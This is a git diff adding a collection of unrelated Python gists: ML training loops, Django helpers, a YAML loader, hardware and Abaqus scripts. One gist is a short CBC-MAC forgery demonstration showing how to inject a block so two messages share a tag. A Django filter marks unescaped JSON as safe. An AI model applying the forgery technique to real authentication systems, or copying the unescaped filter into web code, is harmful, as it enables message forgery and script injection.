+            preds = torch.nn.Sigmoid()(output_transform(v))
+        loss = torch.nn.MSELoss()(preds, y)
+        loss.backward()
+        if i % 10 == 0:
+            print('%d: %f' % (i, loss.data.numpy()[0]))
+        opt.step()
+
+    losses = []
+    for i in range(50):
+        x, y = make_seqlen_task()
+        _, v = rwa.forward(x)
+
+        if c == 'lstm':
+            preds = torch.nn.Sigmoid()(output_transform(v[0][0]))
+        elif c == 'gru':
+            preds = torch.nn.Sigmoid()(output_transform(v[0]))
+        else:
+            preds = torch.nn.Sigmoid()(output_transform(v))
+        loss = torch.nn.MSELoss()(preds, y)
+        losses.append(loss.data.numpy()[0])
+    print(c, np.mean(losses))
\ No newline at end of file
diff --git a/hard-gists/4f4934893388f971c6c5/._snippet.py b/hard-gists/4f4934893388f971c6c5/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4f4934893388f971c6c5/._snippet.py differ
diff --git a/hard-gists/4f4934893388f971c6c5/snippet.py b/hard-gists/4f4934893388f971c6c5/snippet.py
new file mode 100644
index 00000000..825be261
--- /dev/null
+++ b/hard-gists/4f4934893388f971c6c5/snippet.py
@@ -0,0 +1,130 @@
+"""
+Simple example of building your own context manager.
+
+Resources:
+
+- http://preshing.com/20110920/the-python-with-statement-by-example/
+- https://docs.python.org/3/library/contextlib.html
+- PEP 343 -- the "with" statement: https://www.python.org/dev/peps/pep-0343/
+
+"""
+
+from contextlib import ContextDecorator
+from contextlib import contextmanager
+from time import sleep, time
+
+
+class Timed():
+    """A simple "timer" context manager. It prints execution time."""
+
+    def __enter__(self):
+        self.start = time()
+        print("Starting at {}".format(self.start))
+        return self
+
+    def __exit__(self, type, value, traceback):
+        # This code is guaranteed to run
+        if traceback:
+            print("type: {}".format(type))
+            print("value: {}".format(value))
+            print("traceback: {}".format(traceback))
+
+        self.end = time()
+        total = self.end - self.start
+        print("Ending at {} (total: {})".format(self.end, total))
+
+
+@contextmanager
+def timed():
+    """A simple timer context manager, implemented using a generator function"""
+    start = time()
+    print("Staring at {}".format(start))
+
+    yield
+
+    end = time()
+    print("Ending at {} (total: {})".format(end, end - start))
+
+
+@contextmanager
+def robust_timed():
+    """A slighly more robust timer context manager, implemented using a
+    generator function. This one will report time even if an exception occurs"""
+    start = time()
+    print("Staring at {}".format(start))
+    try:
+        yield
+    finally:
+        end = time()
+        print("Ending at {} (total: {})".format(end, end - start))
+
+
+class bettertimed(ContextDecorator):
+    """A better timed class. This uses the ContextDecorator, which allows us
+    to use this as a decorator, too!
+    """
+
+    def __enter__(self):
+        self.start = time()
+        print("Starting at {}".format(self.start))
+        return self
+
+    def __exit__(self, type, value, traceback):
+        self.end = time()
+        total = self.end - self.start
+        print("Ending at {} (total: {})".format(self.end, total))
+
+
+
+def go():
+    # Using the Class...
+    with Timed():
+        print("sleeping for 2...")
+        sleep(2)
+
+#    # When there's an exception
+#    with Timed():
+#        print("sleeping for 2...")
+#        sleep(2)
+#        assert(False)  # Timed will still finish & give you the end/total
+#
+#    # Support for the 'as' keyword.
+#    with Timed() as timer:
+#        print("sleeping for 2...")
+#        sleep(2)
+#        print("ok, we started {}s ago".format(time() - timer.start))
+#        sleep(2)
+#
+#    # As a function
+#    with timed():
+#        print("sleeping for 2...")
+#        sleep(2)
+#
+#    # When there's an exception
+#    with timed():
+#        print("sleeping for 2...")
+#        sleep(2)
+#        assert(False)  # fails... we dont' get the ending time.
+#
+#
+#    # Unless we use the robust version
+#    with robust_timed():
+#        print("sleeping for 2...")
+#        sleep(2)
+#        assert(False)  # We should still get the ending time.
+#
+#    # Using the ContextDecorator subclass as a context manager...
+#    with bettertimed():
+#        sleep(1)
+#        print("ok... ")
+#        sleep(1)
+#
+#    # And as a decorator for a function.
+#    @bettertimed()
+#    def slow_print(text):
+#        sleep(1)
+#        print(text)
+#        sleep(1)
+#
+#    # Calling that function to test it out.
+#    slow_print('oh bother')
diff --git a/hard-gists/5001170/._snippet.py b/hard-gists/5001170/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5001170/._snippet.py differ
diff --git a/hard-gists/5001170/snippet.py b/hard-gists/5001170/snippet.py
new file mode 100644
index 00000000..37d5671a
--- /dev/null
+++ b/hard-gists/5001170/snippet.py
@@ -0,0 +1,30 @@
+#!/usr/bin/env python
+from Foundation import NSUserNotification
+from Foundation import NSUserNotificationCenter
+from Foundation import NSUserNotificationDefaultSoundName
+from optparse import OptionParser
+
+
+
+def main():
+    parser = OptionParser(usage='%prog -t TITLE -m MESSAGE')
+    parser.add_option('-t', '--title', action='store', default='A title')
+    parser.add_option('-m', '--message', action='store', default='...')
+    parser.add_option('--no-sound', action='store_false', default=True,
+        dest='sound')
+
+    options, args = parser.parse_args()
+
+    notification = NSUserNotification.alloc().init()
+    notification.setTitle_(options.title)
+    notification.setInformativeText_(options.message)
+    if options.sound:
+        notification.setSoundName_(NSUserNotificationDefaultSoundName)
+
+    center = NSUserNotificationCenter.defaultUserNotificationCenter()
+    center.deliverNotification_(notification)
+
+
+if __name__ == '__main__':
+    main()
+
diff --git a/hard-gists/5002929/._snippet.py b/hard-gists/5002929/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5002929/._snippet.py differ
diff --git a/hard-gists/5002929/snippet.py b/hard-gists/5002929/snippet.py
new file mode 100644
index 00000000..b83381bd
--- /dev/null
+++ b/hard-gists/5002929/snippet.py
@@ -0,0 +1,11 @@
+from django import template
+from django.utils.safestring import mark_safe
+
+import json
+
+register = template.Library()
+
+@register.filter(name='json')
+def json_dumps(data):
+    return mark_safe(json.dumps(data))
+    
diff --git a/hard-gists/5008118/._snippet.py b/hard-gists/5008118/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5008118/._snippet.py differ
diff --git a/hard-gists/5008118/snippet.py b/hard-gists/5008118/snippet.py
new file mode 100644
index 00000000..26d4daa4
--- /dev/null
+++ b/hard-gists/5008118/snippet.py
@@ -0,0 +1,106 @@
+"""
+A PyYAML loader that annotates position in source code.
+
+The loader is based on `SafeConstructor`, i.e., the behaviour of
+`yaml.safe_load`, but in addition:
+
+ - Every dict/list/unicode is replaced with dict_node/list_node/unicode_node,
+   which subclasses dict/list/unicode to add the attributes `start_mark`
+   and `end_mark`. (See the yaml.error module for the `Mark` class.)
+
+ - Every string is always returned as unicode, no ASCII-ficiation is
+   attempted.
+
+ - Note that int/bool/... are returned unchanged for now
+"""
+
+
+from yaml.composer import Composer
+from yaml.reader import Reader
+from yaml.scanner import Scanner
+from yaml.composer import Composer
+from yaml.resolver import Resolver
+from yaml.parser import Parser
+from yaml.constructor import Constructor, BaseConstructor, SafeConstructor
+
+def create_node_class(cls):
+    class node_class(cls):
+        def __init__(self, x, start_mark, end_mark):
+            cls.__init__(self, x)
+            self.start_mark = start_mark
+            self.end_mark = end_mark
+
+        def __new__(self, x, start_mark, end_mark):
+            return cls.__new__(self, x)
+    node_class.__name__ = '%s_node' % cls.__name__
+    return node_class
+
+dict_node = create_node_class(dict)
+list_node = create_node_class(list)
+unicode_node = create_node_class(unicode)
+
+class NodeConstructor(SafeConstructor):
+    # To support lazy loading, the original constructors first yield
+    # an empty object, then fill them in when iterated. Due to
+    # laziness we omit this behaviour (and will only do "deep
+    # construction") by first exhausting iterators, then yielding
+    # copies.
+    def construct_yaml_map(self, node):
+        obj, = SafeConstructor.construct_yaml_map(self, node)
+        return dict_node(obj, node.start_mark, node.end_mark)
+
+    def construct_yaml_seq(self, node):
+        obj, = SafeConstructor.construct_yaml_seq(self, node)
+        return list_node(obj, node.start_mark, node.end_mark)
+
+    def construct_yaml_str(self, node):
+        obj = SafeConstructor.construct_scalar(self, node)
+        assert isinstance(obj, unicode)
+        return unicode_node(obj, node.start_mark, node.end_mark)
+
+NodeConstructor.add_constructor(
+        u'tag:yaml.org,2002:map',
+        NodeConstructor.construct_yaml_map)
+
+NodeConstructor.add_constructor(
+        u'tag:yaml.org,2002:seq',
+        NodeConstructor.construct_yaml_seq)
+
+NodeConstructor.add_constructor(
+        u'tag:yaml.org,2002:str',
+        NodeConstructor.construct_yaml_str)
+
+
+class MarkedLoader(Reader, Scanner, Parser, Composer, NodeConstructor, Resolver):
+    def __init__(self, stream):
+        Reader.__init__(self, stream)
+        Scanner.__init__(self)
+        Parser.__init__(self)
+        Composer.__init__(self)
+        SafeConstructor.__init__(self)
+        Resolver.__init__(self)
+
+def marked_load(stream):
+    return MarkedLoader(stream).get_single_data()
+
+
+def test_marked_yaml():
+    def loc(obj):
+        return (obj.start_mark.line, obj.start_mark.column, obj.end_mark.line, obj.end_mark.column)
+    
+    d = marked_load( # note: test very sensitive to whitespace in string below
+    '''\
+    a:
+      [b, c, {d: e}]
+    f:
+      g: h''')
+
+    assert d == {'a': ['b', 'c', {'d': 'e'}], 'f': {'g': 'h'}}
+    assert loc(d['a'][2]['d']) == (1, 17, 1, 18)
+    assert loc(d) == (0, 4, 3, 10)
+    assert loc(d['a']) == (1, 6, 1, 20)
+
+    assert isinstance(d['a'][2]['d'], unicode)
+    assert isinstance(d, dict)
+    assert isinstance(d['f'], dict)
+    assert isinstance(d['a'], list)
diff --git a/hard-gists/5015483/._snippet.py b/hard-gists/5015483/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5015483/._snippet.py differ
diff --git a/hard-gists/5015483/snippet.py b/hard-gists/5015483/snippet.py
new file mode 100644
index 00000000..47f09372
--- /dev/null
+++ b/hard-gists/5015483/snippet.py
@@ -0,0 +1,114 @@
+import sys, getopt, os, string
+import math
+from odbAccess import *
+from abaqusConstants import *
+import numpy as np
+from numpy import linalg as LA
+
+def get_p1_vector(s):
+    '''
+    11, 22, 33, 12, 13, 23
+    '''
+    s = np.array([[s[0],s[3],s[4]],[s[3],s[1],s[5]],[s[4],s[5],s[2]]])
+    w, v = LA.eigh(s)
+    return v[:,np.argsort(w)[-1]]
+
+def norm(vector):
+    """ Returns the norm (length) of the vector."""
+    # note: this is a very hot function, hence the odd optimization
+    # Unoptimized it is: return np.sqrt(np.sum(np.square(vector)))
+    return np.sqrt(np.dot(vector, vector))
+
+def unit_vector(vector):
+    """ Returns the unit vector of the vector.  """
+    return vector / norm(vector)
+
+def angle_between(v1, v2):
+    """ Returns the angle in radians between vectors 'v1' and 'v2'::
+
+            >>> angle_between((1, 0, 0), (0, 1, 0))
+            1.5707963267948966
+            >>> angle_between((1, 0, 0), (1, 0, 0))
+            0.0
+            >>> angle_between((1, 0, 0), (-1, 0, 0))
+            3.141592653589793
+    """
+    v1_u = unit_vector(v1)
+    v2_u = unit_vector(v2)
+    angle = np.arccos(np.dot(v1_u, v2_u))
+    if math.isnan(angle):
+        if (v1_u == v2_u).all():
+            return 0.0
+        else:
+            return np.pi
+    return angle
+
+def upgrade_if_necessary(job_id):
+    odbPath = job_id + '.odb'
+    new_odbPath = None
+    print odbPath
+    if isUpgradeRequiredForOdb(upgradeRequiredOdbPath=odbPath):
+        print "Upgrade required"
+        path,file = os.path.split(odbPath)
+        file = 'upgraded_'+file
+        new_odbPath = os.path.join(path,file)
+        upgradeOdb(existingOdbPath=odbPath, upgradedOdbPath=new_odbPath)
+        odbPath = new_odbPath
+    else:
+        print "Upgrade not required"
+    return odbPath
+
+def odbPrinStressAngle(job_id):
+    odbPath = upgrade_if_necessary(job_id) 
+    odb = openOdb(path=odbPath)
+        
+    # retrieve steps from the odb
+    grout_instance = odb.rootAssembly.instances['GROUT-1']
+    keys = odb.steps.keys()
+    for key in keys:
+        step = odb.steps[key]
+           
+        frameRepository = step.frames
+        if len(frameRepository):
+            for frame in frameRepository:
+                print 'Id = %d, Time = %f\n'%(frame.frameId,frame.frameValue)
+                fo = frame.fieldOutputs
+                S  = fo['S']
+                S_grout = S.getSubset(region=grout_instance)
+                angle_data = {}
+                for value in S_grout.values:                
+                    v = get_p1_vector(value.data)
+                    # Angle between the first principal stress eigenvector and the
+                    # negative z-axis
+                    a = angle_between(v, np.array([0.,0.,-1.]))
+                    angle_data.setdefault(value.elementLabel,[]).append(a)
+                elementLabels = []
+                elementData = []
+                for key in sorted(angle_data.iterkeys()):
+                    elementLabels.append(key)
+                    elementData.append(angle_data[key])
+                angleField = frame.FieldOutput(name='ANGLE',
+                                               description='Principle Stress angle to -Z', 
+                                               type=SCALAR)
+                angleField.addData(position=INTEGRATION_POINT, 
+                                   instance=grout_instance, 
+                                   labels=elementLabels, 
+                                   data=elementData) 
+    odb.save()
+    odb.close()
+        
+if __name__ == '__main__':
+        # Get command line arguments.
+        usage = "usage: abaqus python odbPrinStressAngle.py <job name>"
+        optlist, args = getopt.getopt(sys.argv[1:],'')
+        JobID = args[0]
+        odbPath = JobID + '.odb'
+        print JobID
+        print odbPath
+        if not odbPath:
+                print usage
+                sys.exit(0)
+        if not os.path.exists(odbPath):
+                print "odb %s does not exist!" % odbPath
+                sys.exit(0)
+        odbPrinStressAngle(JobID)
\ No newline at end of file
diff --git a/hard-gists/5017218/._snippet.py b/hard-gists/5017218/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5017218/._snippet.py differ
diff --git a/hard-gists/5017218/snippet.py b/hard-gists/5017218/snippet.py
new file mode 100644
index 00000000..2740e363
--- /dev/null
+++ b/hard-gists/5017218/snippet.py
@@ -0,0 +1,29 @@
+#!/usr/bin/env python
+
+from Crypto.Cipher import AES
+from Crypto.Util.strxor import strxor
+from binascii import hexlify
+
+K = '0123456789abcdef'
+cipher = AES.new(K, AES.MODE_ECB)
+
+# Original Message
+M1 = K
+M2 = K
+Cm0 = cipher.encrypt('\0' * AES.block_size)
+Cm1 = cipher.encrypt(strxor(Cm0,M1))
+Tm = Cm2 = cipher.encrypt(strxor(Cm1,M2))
+
+N1 = 'iheiowehfiowehfw'
+
+# Inject second message after the first message
+Cx0 = cipher.encrypt('\0' * AES.block_size)
+Cx1 = cipher.encrypt(strxor(Cx0,M1))
+Cx2 = cipher.encrypt(strxor(Cx1,N1))
+# X needs to *encrypt* to the same value as Cm1
+X = strxor(cipher.decrypt(Cx1),Cx2)
+Cx3 = cipher.encrypt(strxor(Cx2,X))
+Tx = Cx4 = cipher.encrypt(strxor(Cx3,M2))
+
+print "Tm = '%s'" % hexlify(Tm)
+print "Tx = '%s'" % hexlify(Tx)
diff --git a/hard-gists/5022297/._snippet.py b/hard-gists/5022297/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5022297/._snippet.py differ
diff --git a/hard-gists/5022297/snippet.py b/hard-gists/5022297/snippet.py
new file mode 100644
index 00000000..8bce7512
--- /dev/null
+++ b/hard-gists/5022297/snippet.py
@@ -0,0 +1,58 @@
+#!/usr/bin/python
+
+import time
+import RPi.GPIO as GPIO
+from robot_brain.servo import Servo
+
+GPIO.setmode(GPIO.BCM)
+
+GPIO_TRIGGER = 25
+GPIO_ECHO    = 24
+k = .7  # filter constant
+rotation_filtered = 0
+servo = Servo(min=60, max=250)
+scalar = 50 # smaller is more finger movement
+
+GPIO.setup(GPIO_TRIGGER, GPIO.OUT)  # Trigger
+GPIO.setup(GPIO_ECHO, GPIO.IN)      # Echo
+
+GPIO.output(GPIO_TRIGGER, False)
+
+# Allow module to settle
+time.sleep(0.5)
+
+while True:
+    # Send 10us pulse to trigger
+    GPIO.output(GPIO_TRIGGER, True)
+    time.sleep(0.00001)
+    GPIO.output(GPIO_TRIGGER, False)
+
+    while GPIO.input(GPIO_ECHO)==0:
+      pass  # wait for pin to go high
+
+    start = time.time()
+    while GPIO.input(GPIO_ECHO)==1:
+      stop = time.time()
+      if (stop - start) > .1:
+          break
+
+    # Calculate pulse length
+    elapsed = stop - start
+
+    # Distance pulse travelled in that time is time
+    # multiplied by the speed of sound (cm/s)
+    distance = elapsed * 34300
+
+    # That was the distance there and back so halve the value
+    distance = distance / 2
+
+    # Calculate how much to rotate the servo (scale between 0 and 1)
+    rotation = distance / 50
+    if rotation > 1:
+        rotation = 1
+    # A simple moving average filter
+    rotation_filtered = k * rotation_filtered + (1.0 - k) * rotation
+    rot = 1 - rotation_filtered
+    servo.set(rot)
+    print 'setting servo to:', rot
+    time.sleep(.1)
\ No newline at end of file
diff --git a/hard-gists/5028413/._snippet.py b/hard-gists/5028413/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5028413/._snippet.py differ
diff --git a/hard-gists/5028413/snippet.py b/hard-gists/5028413/snippet.py
new file mode 100644
index 00000000..bf71b845
--- /dev/null
+++ b/hard-gists/5028413/snippet.py
@@ -0,0 +1,44 @@
+# Written by Senko Rasic <senko.rasic@goodcode.io>
+# Released into Public Domain. Use it as you like.
+
+from django.db import models
+
+
+class SingletonModel(models.Model):
+    """Singleton Django Model
+
+    Ensures there's always only one entry in the database, and can fix the
+    table (by deleting extra entries) even if added via another mechanism.
+
+    Also has a static load() method which always returns the object - from
+    the database if possible, or a new empty (default) instance if the
+    database is still empty. If your instance has sane defaults (recommended),
+    you can use it immediately without worrying if it was saved to the
+    database or not.
+
+    Useful for things like system-wide user-editable settings.
+    """
+
+    class Meta:
+        abstract = True
+
+    def save(self, *args, **kwargs):
+        """
+        Save object to the database. Removes all other entries if there
+        are any.
+        """
+        self.__class__.objects.exclude(id=self.id).delete()
+        super(SingletonModel, self).save(*args, **kwargs)
+
+    @classmethod
+    def load(cls):
+        """
+        Load object from the database. Failing that, create a new empty
+        (default) instance of the object and return it (without saving it
+        to the database).
+        """
+
+        try:
+            return cls.objects.get()
+        except cls.DoesNotExist:
+            return cls()
diff --git a/hard-gists/5029885/._snippet.py b/hard-gists/5029885/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5029885/._snippet.py differ
diff --git a/hard-gists/5029885/snippet.py b/hard-gists/5029885/snippet.py
new file mode 100644
index 00000000..8ee2857d
--- /dev/null
+++ b/hard-gists/5029885/snippet.py
@@ -0,0 +1,31 @@
+# encoding: utf8
+from jinja2 import BytecodeCache
+from config import TEMPLATE_CACHE_PREFIX, TEMPLATE_CACHE_TTL
+
+
+class RedisTemplateBytecodeCache(BytecodeCache):
+    '''Implements a Jinja2 bytecode cache on top of a pyredis.StrictRedis
+    connection
+    See: http://jinja.pocoo.org/docs/api/#bytecode-cache
+    '''
+
+    def __init__(self, redis_cnx):
+        self.cnx = redis_cnx
+
+    def key(self, k):
+        return '%s_%s' % (TEMPLATE_CACHE_PREFIX, k)
+
+    def load_bytecode(self, bucket):
+        bc = self.cnx.get(self.key(bucket.key))
+        if bc:
+            bucket.load_bytecode(bc)
+
+    def dump_bytecode(self, bucket):
+        self.cnx.setex(
+            self.key(bucket.key),
+            TEMPLATE_CACHE_TTL,
+            bucket.bytecode_to_string()
+        )
+
+    def clear(self):
+        pass
diff --git a/hard-gists/503106/._snippet.py b/hard-gists/503106/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/503106/._snippet.py differ
diff --git a/hard-gists/503106/snippet.py b/hard-gists/503106/snippet.py
new file mode 100644
index 00000000..0dd0f904
--- /dev/null
+++ b/hard-gists/503106/snippet.py
@@ -0,0 +1,24 @@
+""" Django-admin autoregister -- automatic model registration
+Original: http://djangosnippets.org/snippets/2066/
+
+## sample admin.py ##
+
+from yourproject.autoregister import autoregister
+
+# register all models defined on each app
+autoregister('app1', 'app2', 'app3', ...)
+
+"""
+
+from django.db.models import get_models, get_app
+from django.contrib import admin
+from django.contrib.admin.sites import AlreadyRegistered
+
+def autoregister(*app_list):
+    for app_name in app_list:
+        app_models = get_app(app_name)
+        for model in get_models(app_models):
+            try:
+                admin.site.register(model)
+            except AlreadyRegistered:
+                pass
\ No newline at end of file
diff --git a/hard-gists/5036719/._snippet.py b/hard-gists/5036719/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5036719/._snippet.py differ
diff --git a/hard-gists/5036719/snippet.py b/hard-gists/5036719/snippet.py
new file mode 100644
index 00000000..c0c59442
--- /dev/null
+++ b/hard-gists/5036719/snippet.py
@@ -0,0 +1,11 @@
+import sublime_plugin
+
+class FileNameOnStatusBar(sublime_plugin.EventListener):
+    def on_activated(self, view):
+        path = view.file_name()
+        if path:
+            for folder in view.window().folders():
+                path = path.replace(folder + '/', '', 1)
+            view.set_status('file_name', path)
+        else:
+            view.set_status('file_name', 'untitled')
\ No newline at end of file
diff --git a/hard-gists/5036f784eec2036252e1990da21eda18/._snippet.py b/hard-gists/5036f784eec2036252e1990da21eda18/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5036f784eec2036252e1990da21eda18/._snippet.py differ
diff --git a/hard-gists/5036f784eec2036252e1990da21eda18/snippet.py b/hard-gists/5036f784eec2036252e1990da21eda18/snippet.py
new file mode 100644
index 00000000..28a060b0
--- /dev/null
+++ b/hard-gists/5036f784eec2036252e1990da21eda18/snippet.py
@@ -0,0 +1,141 @@
+'''Solves Pong with Policy Gradients in Tensorflow.'''
+# written October 2016 by Sam Greydanus
+# inspired by karpathy's gist.github.com/karpathy/a4166c7fe253700972fcbc77e4ea32c5
+import numpy as np
+import gym
+import tensorflow as tf
+
+# hyperparameters
+n_obs = 80 * 80           # dimensionality of observations
+h = 200                   # number of hidden layer neurons
+n_actions = 3             # number of available actions
+learning_rate = 1e-3
+gamma = .99               # discount factor for reward
+decay = 0.99              # decay rate for RMSProp gradients
+save_path='models/pong.ckpt'
+
+# gamespace 
+env = gym.make("Pong-v0") # environment info
+observation = env.reset()
+prev_x = None
+xs,rs,ys = [],[],[]
+running_reward = None
+reward_sum = 0
+episode_number = 0
+
+# initialize model
+tf_model = {}
+with tf.variable_scope('layer_one',reuse=False):
+    xavier_l1 = tf.truncated_normal_initializer(mean=0, stddev=1./np.sqrt(n_obs), dtype=tf.float32)
+    tf_model['W1'] = tf.get_variable("W1", [n_obs, h], initializer=xavier_l1)
+with tf.variable_scope('layer_two',reuse=False):
+    xavier_l2 = tf.truncated_normal_initializer(mean=0, stddev=1./np.sqrt(h), dtype=tf.float32)
+    tf_model['W2'] = tf.get_variable("W2", [h,n_actions], initializer=xavier_l2)
+
+# tf operations
+def tf_discount_rewards(tf_r): #tf_r ~ [game_steps,1]
+    discount_f = lambda a, v: a*gamma + v;
+    tf_r_reverse = tf.scan(discount_f, tf.reverse(tf_r,[True, False]))
+    tf_discounted_r = tf.reverse(tf_r_reverse,[True, False])
+    return tf_discounted_r
+
+def tf_policy_forward(x): #x ~ [1,D]
+    h = tf.matmul(x, tf_model['W1'])
+    h = tf.nn.relu(h)
+    logp = tf.matmul(h, tf_model['W2'])
+    p = tf.nn.softmax(logp)
+    return p
+
+# downsampling
+def prepro(I):
+    """ prepro 210x160x3 uint8 frame into 6400 (80x80) 1D float vector """
+    I = I[35:195] # crop
+    I = I[::2,::2,0] # downsample by factor of 2
+    I[I == 144] = 0  # erase background (background type 1)
+    I[I == 109] = 0  # erase background (background type 2)
+    I[I != 0] = 1    # everything else (paddles, ball) just set to 1
+    return I.astype(np.float).ravel()
+
+# tf placeholders
+tf_x = tf.placeholder(dtype=tf.float32, shape=[None, n_obs],name="tf_x")
+tf_y = tf.placeholder(dtype=tf.float32, shape=[None, n_actions],name="tf_y")
+tf_epr = tf.placeholder(dtype=tf.float32, shape=[None,1], name="tf_epr")
+
+# tf reward processing (need tf_discounted_epr for policy gradient wizardry)
+tf_discounted_epr = tf_discount_rewards(tf_epr)
+tf_mean, tf_variance= tf.nn.moments(tf_discounted_epr, [0], shift=None, name="reward_moments")
+tf_discounted_epr -= tf_mean
+tf_discounted_epr /= tf.sqrt(tf_variance + 1e-6)
+
+# tf optimizer op
+tf_aprob = tf_policy_forward(tf_x)
+loss = tf.nn.l2_loss(tf_y-tf_aprob)
+optimizer = tf.train.RMSPropOptimizer(learning_rate, decay=decay)
+tf_grads = optimizer.compute_gradients(loss, var_list=tf.trainable_variables(), grad_loss=tf_discounted_epr)
+train_op = optimizer.apply_gradients(tf_grads)
+
+# tf graph initialization
+sess = tf.InteractiveSession()
+tf.initialize_all_variables().run()
+
+# try load saved model
+saver = tf.train.Saver(tf.all_variables())
+load_was_success = True # yes, I'm being optimistic
+try:
+    save_dir = '/'.join(save_path.split('/')[:-1])
+    ckpt = tf.train.get_checkpoint_state(save_dir)
+    load_path = ckpt.model_checkpoint_path
+    saver.restore(sess, load_path)
+except:
+    print "no saved model to load. starting new session"
+    load_was_success = False
+else:
+    print "loaded model: {}".format(load_path)
+    saver = tf.train.Saver(tf.all_variables())
+    episode_number = int(load_path.split('-')[-1])
+
+
+# training loop
+while True:
+#     if True: env.render()
+
+    # preprocess the observation, set input to network to be difference image
+    cur_x = prepro(observation)
+    x = cur_x - prev_x if prev_x is not None else np.zeros(n_obs)
+    prev_x = cur_x
+
+    # stochastically sample a policy from the network
+    feed = {tf_x: np.reshape(x, (1,-1))}
+    aprob = sess.run(tf_aprob,feed) ; aprob = aprob[0,:]
+    action = np.random.choice(n_actions, p=aprob)
+    label = np.zeros_like(aprob) ; label[action] = 1
+
+    # step the environment and get new measurements
+    observation, reward, done, info = env.step(action+1)
+    reward_sum += reward
+    
+    # record game history
+    xs.append(x) ; ys.append(label) ; rs.append(reward)
+    
+    if done:
+        # update running reward
+        running_reward = reward_sum if running_reward is None else running_reward * 0.99 + reward_sum * 0.01
+        
+        # parameter update
+        feed = {tf_x: np.vstack(xs), tf_epr: np.vstack(rs), tf_y: np.vstack(ys)}
+        _ = sess.run(train_op,feed)
+        
+        # print progress console
+        if episode_number % 10 == 0:
+            print 'ep {}: reward: {}, mean reward: {:3f}'.format(episode_number, reward_sum, running_reward)
+        else:
+            print '\tep {}: reward: {}'.format(episode_number, reward_sum)
+        
+        # bookkeeping
+        xs,rs,ys = [],[],[] # reset game history
+        episode_number += 1 # the Next Episode
+        observation = env.reset() # reset env
+        reward_sum = 0
+        if episode_number % 50 == 0:
+            saver.save(sess, save_path, global_step=episode_number)
+            print "SAVED MODEL #{}".format(episode_number)
\ No newline at end of file
diff --git a/hard-gists/504232/._snippet.py b/hard-gists/504232/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/504232/._snippet.py differ
diff --git a/hard-gists/504232/snippet.py b/hard-gists/504232/snippet.py
new file mode 100644
index 00000000..b66336a0
--- /dev/null
+++ b/hard-gists/504232/snippet.py
@@ -0,0 +1,92 @@
+import re
+from jinja2 import Markup
+from SOMEOTHERLIBRARYFOROTHERSTUFF import format_user_input
+
+
+def strip_auth_tokens(value):
+    from classlet.models import auth_token_re
+    return auth_token_re.sub(u'', value)
+
+
+quote_re = re.compile(ur'\s{0,4}[>|\}]')
+quote_block_re = re.compile(ur'\s*----+\s*original message\s*----+$',
+                            re.IGNORECASE)
+quote_start_re = re.compile(ur'\s*\w.*:$')
+MIN_QUOTE_LINES = 2
+
+def _get_quotes(lines):
+    quote_start = -1
+    quotes = []
+
+    lines = lines + ['']
+    line = lines[0]
+    for i, next_line in zip(range(len(lines)), lines[1:] + ['']):
+
+        if quote_block_re.match(line):
+            quotes.append((i, len(lines)))
+            break
+
+        if quote_re.match(line) or (quote_start_re.match(line) and
+                                    quote_re.match(next_line)):
+            if quote_start == -1:
+                quote_start = i
+        elif quote_start != -1:
+            if i - quote_start >= MIN_QUOTE_LINES:
+                quotes.append((quote_start, i))
+            quote_start = -1
+
+        line = next_line
+
+    return quotes
+
+
+def _enumerate_lines(value):
+    value = strip_auth_tokens(value)
+    lines = list(line.rstrip() for line in value.split('\n'))
+    quotes = _get_quotes(lines)
+    quote_state = 'outside'
+    for line, i in zip(lines, range(len(lines))):
+        if quotes:
+            begin_quote, end_quote = quotes[0]
+        else:
+            begin_quote, end_quote = -1, -1
+        if i == begin_quote:
+            quote_state = 'begin'
+        elif i == end_quote:
+            quote_state = 'end'
+            quotes.pop(0)
+        elif quote_state == 'begin':
+            quote_state = 'inside'
+        elif quote_state == 'end':
+            quote_state = 'outside'
+        yield line, quote_state
+
+
+def format_mail_web(value):
+    formatted = Markup('')
+    for line, quote_state in _enumerate_lines(value):
+        if quote_state == 'begin':
+            formatted += Markup('<div class="quote">'
+                                '<a class="toggle_quote" '
+                                'href="javascript:">'
+                                '- show quoted text -'
+                                '</a>\n'
+                                '<div class="quote_body">\n')
+        elif quote_state == 'end':
+            formatted += Markup('</div></div>\n')
+        formatted += line + Markup('<br/>\n')
+    return format_user_input(formatted)
+
+
+def _unquoted_lines(value):
+    return (line for line, quote_state in _enumerate_lines(value)
+            if quote_state == 'outside' or quote_state == 'end')
+
+
+def format_mail_plain(value):
+    lines = ('  ' + line for line in _unquoted_lines(value))
+    return '\n'.join(lines)
+
+
+def format_mail_html(value):
+    return Markup('<br/>').join(_unquoted_lines(value))
diff --git a/hard-gists/5043521/._snippet.py b/hard-gists/5043521/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5043521/._snippet.py differ
diff --git a/hard-gists/5043521/snippet.py b/hard-gists/5043521/snippet.py
new file mode 100644
index 00000000..0d2d7ab9
--- /dev/null
+++ b/hard-gists/5043521/snippet.py
@@ -0,0 +1,33 @@
+# Torndb is a very thin wrapper around MySQLdb that makes it even easier to use MySQL.
+# Because it is very light, one can just go through the one-file python source
+# to learn how to use it.
+
+# Installation: pip install torndb
+# Official doc: http://torndb.readthedocs.org/en/latest/
+# Source: https://github.com/bdarnell/torndb/blob/master/torndb.py
+
+from torndb import Connection
+
+# Connect by IP address
+db = Connection('127.0.0.1', 'database_name', user='root', password='root')
+# Connect by IP address with port
+db = Connection('127.0.0.1:1234', 'database_name', user='root', password='root')
+# Connect by socket
